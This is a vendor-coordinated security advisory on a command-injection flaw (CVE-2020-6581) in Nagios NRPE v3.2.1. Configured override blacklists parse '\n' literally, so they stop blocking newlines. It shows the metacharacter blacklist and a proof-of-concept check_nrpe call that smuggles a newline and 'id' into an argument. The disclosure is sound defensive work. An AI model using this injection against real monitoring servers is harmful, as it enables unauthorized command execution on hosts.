usd-2020-0002 (CVE-2020-6581) | Nagios NRPE v.3.2.1
Advisory ID: usd-2020-0002
CVE Number: CVE-2020-6581
Affected Product: Nagios NRPE
Affected Version: v.3.2.1
Vulnerability Type: Insufficient Filtering of Configuration file
Security Risk: Medium
Vendor URL: https://www.nagios.org/
Vendor Status: Fixed in v.4.0.0 (not verified)
Description
Insufficient Filtering and incorrect parsing of the configuration file may lead to command injection.
Prerequisites
NRPE has to be compiled with command line parameter support. Additionally, dont_blame_nrpe option inside the NRPE configuration file has to be enabled.
Proof of Concept (PoC)
If NRPE is compiled with command line parameter support and if the corresponding option is enabled inside of the NRPE configuration file, NRPE are allowed to contain additional parameters that are passed as command line parameters to the configured monitoring scripts. In order to prevent exploitation by shell meta characters like ;|&$…, NRPE implements a default blacklist of nasty meta characters:
#define NASTY_METACHARS "|`&><'\\[]{};\r\n"
The same definition of nasty meta characters can also be found in the default configuration file:
# NASTY METACHARACTERS
# This option allows you to override the list of characters that cannot
# be passed to the NRPE daemon.
# nasty_metachars="|`&><'\\[]{};\r\n"
Unfortunately, while parsing the configuration file, special characters like ‚\n‘ inside the nasty_metachars variable are interpreted literally
and loose their special meaning. E.g. ‚\n‘ will disallow the two characters ‚\‘ and ’n‘ instead of a newline.
Attack scenario: Imagine a server administrator wants also to add a wildcard (*) to the blacklist of not allowed characters. Most likely, he will
just uncomment the nasty_metachar option from the configuration file and add his desired character like this:
# NASTY METACHARACTERS
# This option allows you to override the list of characters that cannot
# be passed to the NRPE daemon.
nasty_metachars="|`&><'\\[]{};\r\n*"
Despite looking reasonable, the NRPE service is now again vulnerable to command injections, as shown in the following example:
nasty_metachars="|`&><'\\[]{};\r\n*"
command[check_POC]=/usr/lib/nagios/plugins/check_POC $ARG1$
[pentester@kali ~]$ cat /usr/lib/nagios/plugins/check_POC
#!/bin/bash
echo "[+] POC finished"
[pentester@kali ~]$
[pentester@kali ~]$ /usr/lib/nagios/plugins/check_nrpe -n -H 127.0.0.1 -c checkPOC -a "$(echo -e "\nid")"
[+] POC finished
uid=998(nagios) gid=997(nagios) groups=997(nagios)
Fix
While parsing the nasty_metachars option of the configuration file, special characters should be interpreted correctly.
Timeline
- 2020-01-06 Tobias Neitzel found this vulnerability by manual code review of Nagios NRPE
- 2020-01-08 Initial Contact
- 2020-01-15 Nagios NRPE v4.0.0 is released: https://github.com/NagiosEnterprises/nrpe/releases/tag/nrpe-4.0.0
- 2020-03-04 security advisory released
Credits
This security vulnerability was discovered by Tobias Neitzel of usd AG.